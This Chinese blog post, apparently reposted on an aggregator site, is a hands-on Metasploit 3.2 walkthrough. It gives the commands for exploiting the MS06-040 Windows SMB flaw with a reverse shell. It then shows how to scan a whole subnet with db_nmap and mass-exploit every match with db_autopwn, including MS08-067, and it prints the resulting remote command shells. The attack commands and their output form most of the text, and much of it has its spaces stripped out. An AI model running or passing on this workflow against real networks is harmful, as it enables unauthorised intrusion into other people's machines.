关于Metasploit3.2的一些心得和问题

前端之家收集整理的这篇文章主要介绍了关于Metasploit3.2的一些心得和问题前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

Metasploit是一个攻击工具,前一段时间用了一下,感觉很厉害,现在介绍一下心得。

攻击方法:(针对windows 2000 的一个漏洞)

1、use exploit/windows/smb/ms06_040_netapi

2、set PAYLOAD windows/shell_reverse_tcp

3、set RHOST 192.168.0.161

4、set LHOST 192.168.0.160

5、exploit

不过一般的传统攻击方法应该是这样的:

MSF3.0以上的版本都可以自动话检测漏洞了,针对单个服务器检测以及针对单个漏洞的检测都比较简单。

首先是针对单个服务器检测,下面以MSF3.2为实例:
首先下载MSF3.2,官方下载地址为:http://spool.metasploit.com/releases/framework-3.2.exe
这个是WINDOWS下的版本,安装一直按下一步即可,MSF3.2集成了NMAP,直到安装完毕,会提示自动升级升级完毕MSF3.2自动运行,如图1


(图1
点击WINDOWSCONSOLE(快捷键是CRTL+O,会出现图2


(图2
依次输入:
loaddb_sqlite3

回显:

·Successfullyloadedplugin:db_sqlite3

db_create

回显:

·Creatinganewdatabaseinstance...

·Successfullyconnectedtothedatabase

·File:C:/DocumentsandSettings/Administrator/ApplicationData/.msf3/sqlite3.db
MSFsqlITE3数据库为住,到此数据库已经建立:

db_nmapXXX.XXX.XXX.XXX(或者输入域名)PS:如果现实无法找到NMAP的话([-]Thenmapexecutablecouldnotbefound),请先关闭MSF3.2,运行桌面上的ZNMAP快捷方式,再打开MSF3.2即可。扫描过程中会弹出NMAPDOS,大家耐心等待即可。
扫描完毕,如图3


(图3
然后输入db_autopwn-t-p-e-x–r即可自动溢出
db_autopwn下的命令给大家发出来。
Usage:db_autopwn[options]
-hDisplaythishelptext
-tShowallmatchingexploitmodules
-xSelectmodulesbasedonvulnerabilityreferences
-pSelectmodulesbasedonopenports
-eLaunchexploitsagainstallmatchedtargets
-rUseareverseconnectshell
-bUseabindshellonarandomport
-qDisableexploitmoduleoutput
-I[range]Onlyexploithostsinsidethisrange
-X[range]Alwaysexcludehostsinsidethisrange
-PI[range]Onlyexploithostswiththeseportsopen
-PX[range]Alwaysexcludehostswiththeseportsopen
-m[regex]Onlyrunmoduleswhosenamematchestheregex


-tShowallmatchingexploitmodules
查看所有匹配的开发模块

-xSelectmodulesbasedonvulnerabilityreferences
选择模块基础上的脆弱性引用

-pSelectmodulesbasedonopenports
基于开放的端口来选择模块

-eLaunchexploitsagainstallmatchedtargets
向所有匹配的目标发射Exploits

-rUseareverseconnectshell
使用反向连接

-bUseabindshellonarandomport
使用绑定壳牌随机端口


-hDisplaythishelptext
显示此帮助文本


耐心等待,完毕后输入sessions-l–v如果出现漏洞,MSF则会提示
msf>sessions-l-v

Activesessions
===============

IdDescriptionTunnelVia
----------------------
1Commandshell192.168.xxx.xxx:17513->192.168.xxx.1291043windows/smb/ms06_040_netapi
2Commandshell192.168.xxx.xxx:5804->192.168.xxx.129:1044windows/smb/ms08_067_netapi

再输入sessions-i1

Startinginteractionwith1...

MicrosoftWindowsXP[Version5.1.2600]
(C)Copyright1985-2001MicrosoftCorp.

C:/WINDOWS/system32>



好了,针对单一的入侵已经完毕,下面说下自动攻击某个漏洞,在网上看到过一片类似的帖子,借鉴下别人的成果。以ms08_067漏洞为例,就不带图了。
———————————————————————————————————————
msf>loaddb_sqlite3

·Successfullyloadedplugin:db_sqlite3


Nextwewillusethedb_createcommandtoinitializeanewsqlite3databaseandconnectittotheMetasploitFrameworkinstance:


msf>db_create

·Thespecifieddatabasealreadyexists,connecting

·Successfullyconnectedtothedatabase

·File:/root/.msf3/sqlite3.db


Tospeedupourtest,wewillusedb_nmapcommandwithaverynarrowsetofsearchrequirements.Inthiscase,wewanttofindeverymachinewithport445openonthetargetsubnet.Oneofthequickestwaystoaccomplishthisisbyusingtheflagcombinationbelow:


msf>db_nmap-sS-PS445-p445-n-TAggressiveAAA.BBB.CCC.0/24


Finally,weexecutethedb_autopwncommand,withthe-eoptiontospecifyexploitation,the-poptiontospecifyport-basedmatching,the-boptiontoselectthebindshellpayload,andthe-moptiontoonlyrunmoduleswiththestring"ms08_067"intheirname:


msf>db_autopwn-e-p-b-mms08_067


Oncethiscommandcompletes,wecanusethesessions-lcommandtolisttheactiveshells.Usethesessions-i[SID]commandtointeractwithagivensession.


msf>sessions-l
Activesessions
===============

IdDescriptionTunnel
-------------------
1CommandshellAAA.BBB.CCC.11->AAA.BBB.CCC.86

msf>sessions-i1

Startinginteractionwith1...

MicrosoftWindowsXP[Version5.1.2600]
(C)Copyright1985-2001MicrosoftCorp.

C:/WINDOWS/system32>


ps:甚至可以指定选用更多的漏洞插件,比如db_autopwn-e-p-b-mwindows,这样是检测所有windows漏洞插件,但是不推荐这样,扫描量会比较大,而且也容易出现问题(比如一台主机多个shellshell容易死掉),如果实在扫不出任何漏洞才考虑使用这种方式
——————————————————————————————————————
分割线内容为转载内容
PS:需要用到的命令依次是:
loaddb_sqlite3
db_create
db_nmap-sS-PS445-p445-n-TAggressiveAAA.BBB.CCC.0/24
db_autopwn-e-p-b-mms08_067
如果想换别的端口和漏洞,仅需更改NMAP后的端口以及MS后的漏洞即可。

奉上国外的一个的漏洞公布网址,供大家学习谈论用:http://www.milw0rm.com/
可是如何在MSF3.2中加入一个Exploits呢?貌似3.2自动升级它的EXPLOITS,但是一个新的如何加入呢?
自动攻击为何不能得出SHELL呢?是漏洞全部封上的缘故还是操作的缘故呢?

原文链接:https://www.f2er.com/sqlite/202978.html

猜你在找的Sqlite相关文章